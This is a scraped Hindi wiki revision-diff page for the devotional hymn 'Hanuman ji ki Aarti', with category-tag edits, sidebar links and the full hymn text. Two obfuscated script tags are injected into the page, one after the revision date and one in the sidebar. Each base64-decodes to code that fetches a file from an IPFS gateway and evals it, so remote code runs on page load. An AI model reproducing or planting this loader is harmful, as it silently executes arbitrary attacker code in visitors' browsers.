"हनुमान जी की आरती" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
छो (Text replace - '[[श्रेणी:' to '[[category:')
पंक्ति ३७: पंक्ति ३७:
  
  
[[श्रेणी: कोश]]
+
[[category: कोश]]
 
[[category:भगवान-अवतार]]
 
[[category:भगवान-अवतार]]
[[श्रेणी:भक्ति]] [[श्रेणी:आरती संग्रह]]
+
[[category:भक्ति]] [[category:आरती संग्रह]]
 
__INDEX__
 
__INDEX__

२२:५६, १५ फ़रवरी २०१० का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आरती हनुमान जी / Hanuman Arti

<sidebar>

  • सुस्वागतम्
    • mainpage|मुखपृष्ठ
    • ब्लॉग-चिट्ठा-चौपाल|ब्लॉग-चौपाल
      विशेष:Contact|संपर्क
    • समस्त श्रेणियाँ|समस्त श्रेणियाँ
  • SEARCH
  • LANGUAGES

__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • हनुमान सम्बंधित लेख
    • हनुमान|हनुमान
    • हनुमान जी की आरती|आरती
    • हनुमान चालीसा|चालीसा
    • हनुमान बजरंग बाण|बजरंग बाण
    • हनुमान जयन्ती|हनुमान जयन्ती
    • राम|राम
    • लक्ष्मण|लक्ष्मण
    • सीता|सीता
    • रामायण|रामायण
    • सुग्रीव|सुग्रीव
    • अंगद|अंगद
    • लंका|लंका
    • शिव के अवतार|शिव के अवतार

</sidebar>

थंबनेल बनाने में त्रुटि हुई है: /bin/bash: /usr/local/bin/convert: No such file or directory Error code: 127
हनुमान
Hanuman

आरती कीजै हनुमान लला की ।
दुष्ट दलन रघुनाथ कला की ॥

जाके बल से गिरिवर काँपे,
रोग दोष जाके निकट न झाँके।
अंजनि पुत्र महा बलदायी,
संतन के प्रभु सदा सहायी॥ आरती कीजै हनुमान लला की ।

दे बीड़ा रघुनाथ पठाये,
लंका जाय सिया सुधि लाये ।
लंका सौ कोटि समुद्र सी खाई,
जात पवनसुत बार न लाई ॥ आरति कीजै हनुमान लला की ।

लंका जारि असुर संघारे,
सिया रामजी के काज संवारे ।
लक्ष्मण मूर्छित पड़े सकारे,
आन संजीवन प्राण उबारे ॥ आरती कीजै हनुमान लला की ।

पैठि पाताल तोड़ि यम कारे,
अहिरावन की भुजा उखारे ।
बाँये भुजा असुरदल मारे,
दाहिने भुजा संत जन तारे ॥ आरति कीजै हनुमान लला की ।

सुर नर मुनि जन आरति उतारे,
जय जय जय हनुमान उचारे ।
कंचन थार कपूर लौ छाई,
आरती करती अंजना माई ॥ आरती कीजै हनुमान लला की ।

जो हनुमान जी की आरति गावे,
बसि वैकुण्ठ परम पद पावे ।
आरती कीजै हनुमान लला की।
दुष्ट दलन रघुनाथ कला की ॥